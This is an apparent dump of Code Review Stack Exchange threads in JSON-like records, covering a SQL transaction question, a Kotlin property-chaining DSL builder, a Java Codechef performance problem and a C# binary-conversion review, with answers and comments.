0)\n\nbegin transaction\nbegin try\n insert into Customers(FullName) values\n ('Dora Explorer')\n\n if exists(\n select 1 from Restaurants where IsOpen=1\n )\n begin\n update Customers set IsHungry=0\n end\n\n select * from Customers\n commit transaction\n return\nend try\nbegin catch\n rollback transaction\nend catch\n</code></pre>\n<p><a href=\"http://sqlfiddle.com/#!18/a16bd5/18\" rel=\"nofollow noreferrer\">Fiddle</a></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T00:16:59.080",
"Id": "521021",
"Score": "0",
"body": "I found MERGE statement while looking alternatively replacing IF EXISTS, do you think it's a best practice? https://stackoverflow.com/questions/2273815/if-exists-before-insert-update-delete-for-optimization"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T00:18:04.237",
"Id": "521022",
"Score": "0",
"body": "and I loved when he said `Developers-turned-DBAs often naïvely write it row-by-row` because it's the truth..lol"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T16:01:27.410",
"Id": "263813",
"ParentId": "263804",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T13:09:45.447",
"Id": "263804",
"Score": "-1",
"Tags": [
"sql",
"sql-server",
"database",
"transactions"
],
"Title": "IF SELECT statement will break SQL ACID Compliance?"
}
|
263804
|
<p>As one step in a larger builder setup, I need to build a small collection of objects, each with a small number of required attributes, and each of those with a small set of possible values. The actual scenario can be analogized to building a short list of vehicle objects, selecting the color, make, and type for each from a limited set of choices, modelled thusly:</p>
<pre class="lang-kotlin prettyprint-override"><code>data class Vehicle(val color: Color, val make: Make, val type: Type)
enum class Color { RED, GREEN, BLUE }
enum class Make { BUICK, CHEVY, FORD }
enum class Type { CAR, TRUCK, MOTORBIKE }
</code></pre>
<p>I thought to leverage Kotlin's considerable language customization capabilities to make this concise and fluid. A small DSL seemed at first appropriate, but the standard design appears to offer no real benefit over the regular language; e.g., <code>listOf(Vehicle(Color.RED, Make.FORD, Type.CAR), ...)</code> would translate to something like <code>vehicles { vehicle { color = RED, make = FORD, type = CAR } ...}</code>.</p>
<p>In trying to devise some way to trim that down, I wondered if function calls without parentheses (not counting trailing lambdas) were possible, and quickly found a comment that pointed out that property getters are essentially exactly that.</p>
<p>Delegating a (read-only) property will allow us to trigger a separate function upon a getter call, and if we return from that getter some class with more such delegated properties, we can create chains of property calls that construct our objects with those separate functions, while the return types can dictate available options at each point in the chain and, along with the enclosing function, the type we must ultimately end with.</p>
<p>This abstract class is the basis of my current design:</p>
<pre class="lang-kotlin prettyprint-override"><code>sealed class Choice<Builder, Data, NextChoice>(protected val builder: Builder) {
protected abstract fun setChoice(value: Data)
protected abstract fun nextChoice(): NextChoice
protected fun setter(value: Data) =
ReadOnlyProperty<Choice<Builder, Data, NextChoice>, NextChoice> { _, _ ->
setChoice(value)
return@ReadOnlyProperty nextChoice()
}
}
</code></pre>
<p>With this, I put together a "builder" for the data classes above, which itself is little more than a container <code>object</code>:</p>
<pre class="lang-kotlin prettyprint-override"><code>object VehiclesBuilder {
fun chooseVehicles(builderBlock: ColorChoice.() -> CompleteVehicle): List<Vehicle> {
ColorChoice.builderBlock()
vehicles.toList().let {
vehicles.clear()
return it
}
}
private val vehicles = mutableListOf<Vehicle>()
private lateinit var tempColor: Color
private lateinit var tempMake: Make
private fun setColor(color: Color) {
tempColor = color
}
private fun setMake(make: Make) {
tempMake = make
}
private fun setType(type: Type) {
vehicles.add(Vehicle(tempColor, tempMake, type))
}
object ColorChoice : Choice<VehiclesBuilder, Color, MakeChoice>(this) {
val red by setter(Color.RED)
val green by setter(Color.GREEN)
val blue by setter(Color.BLUE)
override fun setChoice(value: Color) {
builder.setColor(value)
}
override fun nextChoice() = MakeChoice
}
object MakeChoice : Choice<VehiclesBuilder, Make, TypeChoice>(this) {
val buick by setter(Make.BUICK)
val chevy by setter(Make.CHEVY)
val ford by setter(Make.FORD)
override fun setChoice(value: Make) {
builder.setMake(value)
}
override fun nextChoice() = TypeChoice
}
object TypeChoice : Choice<VehiclesBuilder, Type, CompleteVehicle>(this) {
val car by setter(Type.CAR)
val truck by setter(Type.TRUCK)
val motorbike by setter(Type.MOTORBIKE)
override fun setChoice(value: Type) {
builder.setType(value)
}
override fun nextChoice() = CompleteVehicle
}
object CompleteVehicle {
operator fun plus(done: CompleteVehicle) = CompleteVehicle
val and: ColorChoice
get() = ColorChoice
}
}
</code></pre>
<p>The entry point here is <code>chooseVehicles()</code>, which takes a function on <code>ColorChoice</code>, the first <code>Choice</code> in our chain. Calling any of the properties there sets the associated <code>Color</code> value in the builder and returns the next in the chain, <code>MakeChoice</code>, where we get one of its properties, setting its value, and so on. When a <code>TypeChoice</code> property is finally called, its builder callback instantiates the <code>Vehicle</code> with the temporary values, and adds it to the list.</p>
<p><code>TypeChoice</code> returns <code>CompleteVehicle</code> which is not itself a <code>Choice</code>, but offers ways to restart the chain to construct another <code>Vehicle</code>. The <code>plus</code> operator allows us to concatenate <code>CompleteVehicle</code>s (though there's really only one runtime instance), which means we can <code>+</code> chains together. The <code>and</code> property returns <code>ColorChoice</code> to start the chain again, which allows us to connect chains with an extra <code>.and.</code> link. The plus operator makes more sense for our contrived example here, but my actual implementation is using <code>and</code>, where the semantics are slightly different.</p>
<p>To ensure only complete chains are provided, that function on <code>ColorChoice</code> that we build in expects a <code>CompleteVehicle</code> return, which only happens upon a property call on <code>TypeChoice</code>, the last link in the chain.</p>
<p>In action, it looks like this:</p>
<pre class="lang-kotlin prettyprint-override"><code>val vehicleList = chooseVehicles { red.buick.car + green.chevy.truck + blue.ford.motorbike }
</code></pre>
<p>which I feel is about as concise as it gets. It also works well with code completion, error messages, etc.:</p>
<p><a href="https://i.stack.imgur.com/j7ttx.png" rel="noreferrer"><img src="https://i.stack.imgur.com/j7ttx.png" alt="Given snippet rendered in IDE, along with example of type hint and error message." /></a></p>
<hr />
<p><strong>Questions and concerns:</strong></p>
<ul>
<li><p>Is this anything new? When I initially thought of this, my first searches were for examples and pointers, but I was unable to find anything like it. However, as I distilled my initial mess of an attempt down to the current, less awful mess, I got the nagging sense that I'd read about something at least similar, long ago before I was able to fully understand it due to my unfamiliarity with the language.</p>
</li>
<li><p>How terrible/silly is this? I have a slight feeling that it's arguably abusing the language and/or its constructs, or otherwise violating some programming principle or sensibility.</p>
<ul>
<li><p>If you're familiar with Kotlin synthetics in Android, you might know that they too involved some trickery with properties, and were considered abuse of those by some. However, DSLs themselves could be considered comparable trickery with functions, I would say.</p>
</li>
<li><p>Also, though I'm not asking about specific correctness (it definitely works), is this actually right? That is, is it valid and viable; <em>should</em> it work, always? Or is this a somehow shaky approach, for any reason?</p>
</li>
</ul>
</li>
<li><p>If this might actually be usable, how can I improve it?</p>
<ul>
<li><p>I am still relatively new to Kotlin, so tips on idioms, conventions, and the like are most certainly welcome.</p>
</li>
<li><p>Am I exposing anything unnecessarily? I'm not wholly certain of Kotlin's concept of visibility yet.</p>
</li>
<li><p>This is the last of many iterations, and most of the first ones used regular classes for the <code>Choice</code>s, needlessly creating several objects that would then be immediately discarded. Singletons – via Kotlin's <code>object</code> – seem like an apt solution, but I'm not sure if I'm missing any potential pitfalls. I should note here that this builder will only ever run on a single thread.</p>
</li>
<li><p>Could I gain anything in the way of generality and reusability by introducing a <code>Builder</code> <code>sealed class</code> or <code>interface</code>? Or is that needless complexity? Clearly, this could be used for more than just constructing lists of simple objects, in which case certain named <code>Builder</code> callbacks could certainly be useful. However, as the current setup is all <code>object</code>s, it's essentially just a bunch of interwoven "static" functions.</p>
</li>
</ul>
</li>
</ul>
|
[] |
[
{
"body": "<p>I found your code to be very interesting and I'd like to thank you for putting it up for review. You are doing some things here that I found very interesting, especially the usage of returning a <code>ReadOnlyProperty</code> dynamically like that - That's something I haven't thought of before and might find some use for in the future.</p>\n<blockquote>\n<p>Is this anything new?</p>\n</blockquote>\n<p>The idea of using a builder is certainly not new, but your implementation of it is one that I personally have not seen before.</p>\n<hr />\n<h3>Before I present my suggestions...</h3>\n<p>I feel like we need to address some disagreements we might have.</p>\n<blockquote>\n<p>This is the last of many iterations, and most of the first ones used regular classes for the Choices, needlessly creating several objects that would then be immediately discarded. Singletons – via Kotlin's object – seem like an apt solution, but I'm not sure if I'm missing any potential pitfalls. I should note here that this builder will only ever run on a single thread.</p>\n</blockquote>\n<p>What is the problem with needlessly creating several objects that would be immediately discarded? It does put some small amount of work on the garbage collector, but garbage collectors are meant to do just that - collect garbage.</p>\n<blockquote>\n<p>How terrible/silly is this? I have a slight feeling that it's arguably abusing the language and/or its constructs, or otherwise violating some programming principle or sensibility.</p>\n</blockquote>\n<p>A class with three type parameters can lead into "generics hell". At least you didn't use a lot of nested type parameters or more than three type parameters, but beware of overusing generics at times.</p>\n<p>There are a few of violations of principles that I notice:</p>\n<ul>\n<li>Abuse of operator overloading -- the <code>CompleteVehicle</code> class overrides the plus operator but does not do any actual operations on it.</li>\n<li>Abuse of the "Tell, don't ask principle" -- this means that you should pass information to classes/functions that they require instead of them having to ask "the outside world" for data. The way you store temporary state in the <code>VehiclesBuilder</code> is a major violation of this principle.</li>\n</ul>\n<blockquote>\n<p>Could I gain anything in the way of generality and reusability by introducing a Builder sealed class or interface? Or is that needless complexity? Clearly, this could be used for more than just constructing lists of simple objects, in which case certain named Builder callbacks could certainly be useful. However, as the current setup is all objects, it's essentially just a bunch of interwoven "static" functions.</p>\n</blockquote>\n<p>I cringe every time I see the keyword <code>abstract</code>. That already was a sign to me that you had already introduced unnecessary complexity. I don't see what another interface or sealed class could add to this. When you need an interface, use an interface. When you don't, don't.</p>\n<blockquote>\n<p>is it valid and viable; should it work, always? Or is this a somehow shaky approach, for any reason?</p>\n</blockquote>\n<p>Consider what this code will return, and what the expectation is that it should return:</p>\n<pre><code>val vehicleList = chooseVehicles {\n val temporary = red.ford.motorbike // unused variable\n red.buick.car + green.chevy.truck\n}\n</code></pre>\n<p>It <strong>will</strong> return a red ford motorbike, a red buick car, and a green chevy truck. But my <strong>expectation</strong> is that it will just return a red buick car and a green chevy truck - no red ford motorbike. (Who would want a ford anyway? )</p>\n<hr />\n<h3>Possible improvements</h3>\n<p>This solution is essentially what you already have, but with a few modifications:</p>\n<ul>\n<li>No mutation of global state (the variables in <code>object VehiclesBuilder</code>)</li>\n<li>No unnecessary abstraction using the <code>Choice</code> class</li>\n<li>Using operator overloading properly</li>\n</ul>\n<p>If you want to reduce the amounts of temporary objects that is created in my version, make <code>VehicleBuilder</code> mutable by replacing <code>val</code> with <code>var</code> and replace <code>builder.copy</code> with <code>builder.also { property = value }</code>, although that would cause mutability issues if one would save <code>red.chevy</code> as a variable when using that code and then using that variable twice, such as:</p>\n<pre><code>chooseVehicles {\n val a = red.chevy\n a.car + a.truck\n}\n</code></pre>\n<p>Because of this I recommend using <code>builder.copy</code> to copy the existing builder, instead of mutating a single builder object.</p>\n<p>Here's the code:</p>\n<pre><code>data class VehicleBuilder(\n val color: Color? = null, val make: Make? = null, val type: Type? = null\n)\n\nobject VehiclesBuilder {\n\n fun chooseVehicles(builderBlock: ColorChoice.() -> CompleteVehicle): List<Vehicle> {\n return ColorChoice(VehicleBuilder()).builderBlock().toList()\n }\n\n class ColorChoice(private val builder: VehicleBuilder) {\n val red get() = MakeChoice(builder.copy(color = Color.RED))\n val green get() = MakeChoice(builder.copy(color = Color.GREEN))\n val blue get() = MakeChoice(builder.copy(color = Color.BLUE))\n }\n\n class MakeChoice(private val builder: VehicleBuilder) {\n val buick get() = TypeChoice(builder.copy(make = Make.BUICK))\n val chevy get() = TypeChoice(builder.copy(make = Make.CHEVY))\n val ford get() = TypeChoice(builder.copy(make = Make.FORD))\n }\n\n class TypeChoice(private val builder: VehicleBuilder) {\n val car get() = CompleteVehicle(listOf(builder.copy(type = Type.CAR)))\n val truck get() = CompleteVehicle(listOf(builder.copy(type = Type.TRUCK)))\n val motorbike get() = CompleteVehicle(listOf(builder.copy(type = Type.MOTORBIKE)))\n }\n\n class CompleteVehicle(private val vehicles: List<VehicleBuilder>) {\n operator fun plus(other: CompleteVehicle) = CompleteVehicle(vehicles + other.vehicles)\n\n fun toList(): List<Vehicle> = vehicles.map { Vehicle(color = it.color!!, make = it.make!!, type = it.type!!) }\n }\n}\n</code></pre>\n<hr />\n<h3>Other questions</h3>\n<blockquote>\n<p>If this might actually be usable, how can I improve it?</p>\n</blockquote>\n<p>I hope you consider my suggestion as improvements. You might be able to mix it with your own ideas and create something that works better for you. Just beware of the pitfalls that I have mentioned. I would recommend adding automated test-cases.</p>\n<blockquote>\n<p>Am I exposing anything unnecessarily? I'm not wholly certain of Kotlin's concept of visibility yet.</p>\n</blockquote>\n<p>No unnecessary exposure that I detected.</p>\n<blockquote>\n<p>I am still relatively new to Kotlin, so tips on idioms, conventions, and the like are most certainly welcome.</p>\n</blockquote>\n<p>I think that from a pure Kotlin standpoint, your code is pretty good. You follow the style guide and lots of conventions. Only complaints I have is what I mentioned above about mutable global state and operator overloading.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T15:41:13.823",
"Id": "263812",
"ParentId": "263807",
"Score": "6"
}
},
{
"body": "<p>I'm sure there might be a few minor things that could still be improved upon, but I believe that what we ended up with after Simon's fantastic advice is worth sharing as it is now.</p>\n<pre class=\"lang-kotlin prettyprint-override\"><code>fun chooseVehicles(builderBlock: ColorChoice.() -> CompleteVehicle): List<Vehicle> {\n return ColorChoice().builderBlock().toList()\n}\n\nclass ColorChoice internal constructor() {\n val red get() = MakeChoice(Color.RED)\n val green get() = MakeChoice(Color.GREEN)\n val blue get() = MakeChoice(Color.BLUE)\n}\n\nclass MakeChoice internal constructor(private val color: Color) {\n val buick get() = TypeChoice(color, Make.BUICK)\n val chevy get() = TypeChoice(color, Make.CHEVY)\n val ford get() = TypeChoice(color, Make.FORD)\n}\n\nclass TypeChoice internal constructor(private val color: Color, private val make: Make) {\n val car get() = CompleteVehicle(listOf(Vehicle(color, make, Type.CAR)))\n val truck get() = CompleteVehicle(listOf(Vehicle(color, make, Type.TRUCK)))\n val motorbike get() = CompleteVehicle(listOf(Vehicle(color, make, Type.MOTORBIKE)))\n}\n\nclass CompleteVehicle internal constructor(private val vehicles: List<Vehicle>) {\n operator fun plus(other: CompleteVehicle) = CompleteVehicle(vehicles + other.vehicles)\n\n internal fun toList() = vehicles.map { it.copy() }\n}\n</code></pre>\n<p>That's it. That's all you need, and you get that nifty little syntax. Everything else I had was unnecessary, and Simon's example really made me realize that I should've been trying to simplify things all around, rather than awkwardly trying to generalize it, which is where that <code>sealed class</code> came from to begin with.</p>\n<p>As before, it's still just chaining property getter calls, but the objects are created and collected inline, inside the <code>builderBlock</code> function, instead of in a separate object. Simon's <code>VehicleBuilder</code> suggestion is perfectly viable – and something similar may actually be necessary depending on what other operators, behaviors, etc. are needed – but one of my favorite things about Kotlin is the null-safety, and since there really aren't any unknowns here, we shouldn't need any nullables. (I think I may have inadvertently implied that the separate builder object was necessary to the overall design, but I did not mean to. My bad.)</p>\n<p>The <code>Choice</code>s are all now independent, regular classes, rather than singleton extensions of that abstract class, nested inside another singleton (yikes). That alone took care of multiple issues that I hadn't fully realized until Simon pointed out that bug case. Along with that, passing only the attribute values through to the next choice instance precludes any issues we might've had with temporary variables and other possible arrangements. We can now do all sorts of wacky stuff in that block, and still get only what we should:</p>\n<p><a href=\"https://i.stack.imgur.com/XD4fI.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/XD4fI.png\" alt=\"Screenshot of various examples in IDE, and log print of correct result\" /></a></p>\n<p>My attempt at faking the <code>plus</code> operator was wildly misguided, but is no longer necessary since it's now doing what it's meant to. You might notice above, though, how it's possible to end up with multiple list entries pointing to the same object. Creating the resulting list from copies of <code>CompleteVehicle</code>'s items ensures we end up with distinct objects.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T02:30:38.967",
"Id": "263888",
"ParentId": "263807",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "263812",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T13:32:12.630",
"Id": "263807",
"Score": "7",
"Tags": [
"design-patterns",
"kotlin",
"dsl"
],
"Title": "Constructing a DSL with properties instead of functions, for use in a type-safe pseudo-builder"
}
|
263807
|
<p>This is the question currently I am trying to solve of <a href="https://www.codechef.com/JULY21C/problems/CHEFORA" rel="nofollow noreferrer">codechef</a> and I am able to get the given test cases result but I am getting Time Limit Exceeded when I am trying to submit. Please let me know what can i do in my code given below to make it more optimized.</p>
<blockquote>
<p>Chef and his friend Bharat have decided to play the game "The Chefora
Spell".</p>
<p>In the game, a positive integer <span class="math-container">\$N\$</span> (in decimal system) is considered a
"Chefora" if the number of digits <span class="math-container">\$d\$</span> is <strong>odd</strong> and it satisfies the
equation</p>
<p><span class="math-container">\$N=\displaystyle\sum_{i=0}^{d−1} N_{i} ⋅10^i\$</span>,</p>
<p>where <span class="math-container">\$N_i+\$</span> is the <span class="math-container">\$i\$</span>-th digit of <span class="math-container">\$N\$</span> from the
left in 0-based indexing.</p>
<p>Let <span class="math-container">\$A_i\$</span> denote the i-th <strong>smallest</strong> Chefora number.</p>
<p>They'll ask each other <span class="math-container">\$Q\$</span> questions, where each question contains two
integers <span class="math-container">\$L\$</span> and <span class="math-container">\$R\$</span>. The opponent then has to answer with</p>
<p><span class="math-container">\$(\displaystyle \prod _{i=L+1}^{R} (A_{L})^{ A_{i}})mod 10^{9}+7.\$</span></p>
<p>Bharat has answered all the questions right,
and now it is Chef's turn. But since Chef fears that he could get some
questions wrong, you have come to his rescue!</p>
<h2>Input</h2>
<p>The first line contains an integer <span class="math-container">\$Q\$</span> - the number of questions
Bharat asks. Each of the next <span class="math-container">\$Q\$</span> lines contains two integers <span class="math-container">\$L\$</span> and <span class="math-container">\$R\$</span>.</p>
<h2>Output</h2>
<p>Print <span class="math-container">\$Q\$</span> integers - the answers to the questions on separate
lines.</p>
<h2>Constraints</h2>
<p><span class="math-container">\$1≤Q≤10^5\$</span></p>
<p><span class="math-container">\$1≤L<R≤10^5\$</span></p>
<h2>Subtasks</h2>
<h3>Subtask #1 (30 points):</h3>
<p><span class="math-container">\$1≤Q≤5⋅10^3\$</span></p>
<p><span class="math-container">\$1≤L<R≤5⋅10^3\$</span></p>
<h3>Subtask #2 (70 points):</h3>
<p>Original constraints</p>
<h2>Sample Input</h2>
<pre><code>2
1 2
9 11
</code></pre>
<h2>Sample Output</h2>
<pre><code>1
541416750
</code></pre>
</blockquote>
<h2>Code</h2>
<pre class="lang-java prettyprint-override"><code>
import java.util.*;
import java.lang.*;
import java.io.*;
class Codechef
{
public static class FastReader{
BufferedReader br;
StringTokenizer st;
public FastReader(){
br = new BufferedReader(new InputStreamReader(System.in));
}
String next(){
while(st == null || !st.hasMoreElements()){
try{
st = new StringTokenizer(br.readLine());
}catch(Exception e){
System.out.println(e);
}
}
return st.nextToken();
}
public long nextLong(){
return Long.parseLong(next());
}
}
public static void main (String[] args) throws java.lang.Exception
{
// your code goes here
FastReader fr = new FastReader();
long Q = fr.nextLong();
while(Q-->0){
long num = 0;long sol = 0;
long L = fr.nextLong();
long R = fr.nextLong();
long temp = 0;
int numDigits = countDigit(L);
if((numDigits &1) != 0){
num = calChefora(L);
for(long i = L+1 ; i <= R ; i++){
temp = temp + calChefora(i);
}
sol = modPow(num , temp) ;
System.out.println(sol);
}
}
}
static int countDigit(long n)
{
return (int)Math.floor(Math.log10(n) + 1);
}
static long calChefora(long num){
String temp = Long.toString(num);
if(num%10 == num)return num;
num = num / 10;
long reversed = 0;
while(num!=0){
reversed = reversed * 10 + num % 10;
num /= 10;
}
temp = temp + reversed;
long sol = Long.parseLong(temp);
return sol;
}
static long modPow(long var, long num) {
long m = 1;long M = 1000000007;
while (num > 0) {
m = (m * var) % M;
--num;
}
return m;
}
}
</code></pre>
<p><strong>Modified Code</strong></p>
<pre><code>class CHEFORA
{
public static class FastReader{
BufferedReader br;
StringTokenizer st;
public FastReader(){
br = new BufferedReader(new InputStreamReader(System.in));
}
String next(){
while(st == null || !st.hasMoreElements()){
try{
st = new StringTokenizer(br.readLine());
}catch(Exception e){
System.out.println(e);
}
}
return st.nextToken();
}
public long nextLong(){
return Long.parseLong(next());
}
public int nextInt(){
return Integer.parseInt(next());
}
}
public static void main (String[] args) throws java.lang.Exception
{
// your code goes here
FastReader fr = new FastReader();
int Q = fr.nextInt();
ArrayList<Long> arrL = new ArrayList();
ArrayList<Long> arrR = new ArrayList();
ArrayList<Long> chefora = new ArrayList();
for(int i = 0 ; i < Q ; i++){
long L = fr.nextLong();
long R = fr.nextLong();
arrL.add(L); arrR.add(R);
}
for(long i = Collections.min(arrL) ; i <= Collections.max(arrR) ; i++){
long temp = 0;
temp = temp + calChefora(i);
chefora.add(temp);
}
for(int i = 0 ; i < Q ; i++){
long num = 0;long sol = 0;
int numDigits = countDigit(arrL.get(i));
if((numDigits &1) != 0) {
long temp = 0;
num = calChefora(arrL.get(i));
int indexL = chefora.indexOf(num);
indexL +=1;
long diff = arrR.get(i) - arrL.get(i);
while(diff-->0){
temp = temp + chefora.get(indexL);
indexL++;
}
sol = modPow(num, temp);
}
System.out.println(sol);
}
}
static int countDigit(long n)
{
return (int)Math.floor(Math.log10(n) + 1);
}
static long calChefora(long num){
if(num%10 == num)return num;
String input = String.valueOf(num);
StringBuilder input1 = new StringBuilder();
input1.append(input);
input1.reverse();
String tsol = input;
for(int i = 1 ; i < input1.length() ;i++ ){
tsol = tsol + input1.charAt(i);
}
long sol = Long.parseLong(tsol);
return sol;
}
static long modPow(long x, long y)
{
long M = 1000000007;
long res = 1;
x = x % M;
if (x == 0)
return 0;
while (y > 0)
{
if ((y & 1) != 0)
res = (res * x) % M;
y = y >> 1; // y = y/2
x = (x * x) % M;
}
return res;
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T15:02:40.703",
"Id": "520905",
"Score": "1",
"body": "Check this: https://www.geeksforgeeks.org/modular-exponentiation-power-in-modular-arithmetic/"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T05:44:35.323",
"Id": "521029",
"Score": "0",
"body": "I tried this but now I am getting WA(Wrong Answer) while submitting but for the given test cases its showing correct answer. I have Added the **Modified Code** in the Question"
}
] |
[
{
"body": "<p>First of all, kudos for figuring out that <span class=\"math-container\">\\$\\displaystyle \\prod _{i=L+1}^{R} (A_{L})^{ A_{i}} = A_L^{\\sum_{i = L+1}^R A_i}\\$</span>.</p>\n<p>But - you've stopped too early. The next step is to realize that</p>\n<p><span class=\"math-container\">\\$\\displaystyle \\sum_{i = L+1}^R A_i = \\sum_{i = 0}^R A_i - \\sum_{i = 0}^L A_i\\$</span></p>\n<p>which hints that you need to deal with partial sums of <span class=\"math-container\">\\$A_i\\$</span>. This way you don't have to recompute the same Chefora numbers over and over again (which you do).</p>\n<p>That said, <code>calChefora</code> seems suboptimal. A simple reversal of <code>temp</code> avoids all those modulos, divisions and multiplications.</p>\n<p>As noted in comments, exponentiation by squaring is much faster than a naive one. Also, exponentiating modulo prime hints that <a href=\"https://en.wikipedia.org/wiki/Fermat%27s_little_theorem\" rel=\"nofollow noreferrer\">Fermat's Little</a> may help.</p>\n<p>Finally, I failed to understand the <code>(numDigits & 1) != 0</code> test. Why parity of digits in <code>L</code> is important?</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T05:24:18.513",
"Id": "521025",
"Score": "0",
"body": "In the Question its stated that the digits should be of odd length thats why ```(numDigits & 1) != 0``` . Also i have tried changing my code and now I am first taking all the values of ```L``` and ```M``` and then I am calculating the chefora numbers from the least ```L``` to max ```M``` so that I dont have to calculate the chefora number again and again and thus reducing my time complexity but still I am getting TLE(Time limit Exceeded when submitting). Also for calculating ```modPow``` I have used bit manipulation instead of the regular calculation but still nothing."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T05:29:37.370",
"Id": "521026",
"Score": "0",
"body": "I have added the same in the Question under **Modified Code**"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T21:22:10.037",
"Id": "263846",
"ParentId": "263809",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T14:31:30.273",
"Id": "263809",
"Score": "2",
"Tags": [
"java",
"programming-challenge",
"time-limit-exceeded"
],
"Title": "Codechef: The Chefora Spell"
}
|
263809
|
<p><strong>Example 1</strong> <br/>
input:3 <br/>
output:0011<br/>
<strong>Example 2</strong><br/>
input : 15 <br/>
output: 1111</p>
<p>in the below example code 15 is input.<br/>
I have taken 8 4 2 1 as array for Binary coded decimal numbering<br/>
this code is working as expected however i want to know
how can i improve or optimize on this.</p>
<pre><code> static void Main(string[] args)
{
int[] arr = { 8, 4, 2, 1 };
int num = 15;
int[] carr = new int[arr.Length];
Context.Print(arr,num,ref carr);
Console.WriteLine(string.Join(' ',carr));
}
static void Print(int[] arr,int num,ref int[] carr)
{
bool two = false;
if (arr[0 % arr.Length] + arr[0 + 1 % arr.Length] + arr[0 + 2 % arr.Length] + arr[0 + 3 % arr.Length] == num)
{
carr[0 % arr.Length] = 1;
carr[0 + 1 % arr.Length] = 1;
carr[0 + 2 % arr.Length] = 1;
carr[0 + 3 % arr.Length] = 1;
two = true;
return;
}
for (int i=0 ; i < arr.Length ; i++)
{
if (arr[i % arr.Length] == num)
{
carr[i % arr.Length] = 1;
two = true;
break;
}
for (int j = (i + 1); j < arr.Length; j++)
if (arr[i % arr.Length] + arr[(j) % arr.Length] == num)
{
carr[i % arr.Length] = 1;
carr[(j) % arr.Length] = 1;
two = true;
break;
}
else if ((arr[i % arr.Length] + arr[(j) % arr.Length] + arr[(j + 1) % arr.Length] == num))
{
carr[i % arr.Length] = 1;
carr[(j) % arr.Length] = 1;
carr[(j + 1) % arr.Length] = 1;
two = true;
break;
}
if (two)
break;
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T19:57:58.310",
"Id": "520932",
"Score": "1",
"body": "`Convert.ToString(num, 2).PadLeft('0', 4)`?"
}
] |
[
{
"body": "<h2>Code Analysis</h2>\n<blockquote>\n<pre><code>if (arr[0 % arr.Length] + arr[0 + 1 % arr.Length] + arr[0 + 2 % arr.Length] + arr[0 + 3 % arr.Length] == num)\n</code></pre>\n</blockquote>\n<p>This is duplicate in a way because it considers subset of cases as special ones. Having them might save time but it will not be much.</p>\n<h3>use of <code>two</code></h3>\n<p>The code is</p>\n<pre><code>two = true;\nreturn;\n</code></pre>\n<p>The use of <code>two</code> really starts with after first <code>if</code>. So it at least needs to be declared and used after that first loop.</p>\n<h3>next block</h3>\n<blockquote>\n<pre><code>for (int i = 0; i < arr.Length; i++)\n</code></pre>\n</blockquote>\n<p>The objective is to find if current <em>bit</em> being assigned to needs to 1 or 0. But, code tries to do it in substantially complex way. This complex mechanism would be needed if we were not considering actual values based on bits (8, 4, 2, 1). But since we are considering actual values code can be simplified (which is given below)</p>\n<p><strong>Unit tests</strong>\nWe need to have a way to verify the output is what we expect. If it is not possible by actual unit test framework, code should have some way to automating it.</p>\n<p><strong>Performance testing</strong>\nThe question mentions point about performance so it would be better to have some way to verifying in controlled fashion.</p>\n<h2>Modified Code</h2>\n<p>I managed to modify your code but I modified almost entirely. I am not sure if it is acceptable but I thought it was good exercise. Perhaps you can use it.</p>\n<p>Compiled with VS 2019 community</p>\n<p><strong>Modified Method</strong></p>\n<pre><code> static void PrintFromChanged(int[] arr, int num, ref int[] carr, int[] carrRight = null)\n {\n\n for (int index = 0;index < arr.Length && 0 < num; ++index)\n {\n if (1 == (carr[index] = (num >= arr[index] ? 1 : 0)))\n {\n num -= arr[index];\n }\n }\n }\n\n</code></pre>\n<p><strong>Full Code</strong></p>\n<pre><code> static void Main(string[] args)\n {\n int[] arr = { 8, 4, 2, 1 };\n\n bool atLeastOneDidntMatch = false;\n for (int num = 0; num < 16; ++num)\n {\n int[] carr = new int[arr.Length];\n Program.PrintFromStackExchange(arr, num, ref carr);\n int[] carrChanged = new int[arr.Length];\n Program.PrintFromChanged(arr, num, ref carrChanged, carr);\n\n bool same = true;\n for (int i = 0; i < arr.Length; ++i)\n {\n if (carr[i] != carrChanged[i])\n {\n int[] carrChanged2 = new int[arr.Length];\n same = false;\n break;\n }\n }\n\n if (!same)\n {\n Console.WriteLine(num + ": " + string.Join(" ", carr) + " : " + string.Join(" ", carrChanged));\n }\n }\n\n\n if (!atLeastOneDidntMatch && 1 == args.Length)\n {\n \n const long iterations = 1000000;\n System.Diagnostics.Stopwatch watch = new System.Diagnostics.Stopwatch();\n\n if ("1".Equals(args[0]))\n {\n watch.Start();\n for (long i = 0; i < iterations; ++i)\n {\n for (int num = 0; num < 16; ++num)\n {\n int[] carr = new int[arr.Length];\n Program.PrintFromChanged(arr, num, ref carr);\n }\n }\n watch.Stop();\n long msModified = watch.ElapsedMilliseconds;\n Console.WriteLine("16 million calls: Time Modified: " + msModified);\n }\n else\n {\n\n watch.Start();\n for (long i = 0; i < iterations; ++i)\n {\n for (int num = 0; num < 16; ++num)\n {\n int[] carr = new int[arr.Length];\n Program.PrintFromStackExchange(arr, num, ref carr);\n }\n }\n watch.Stop();\n long 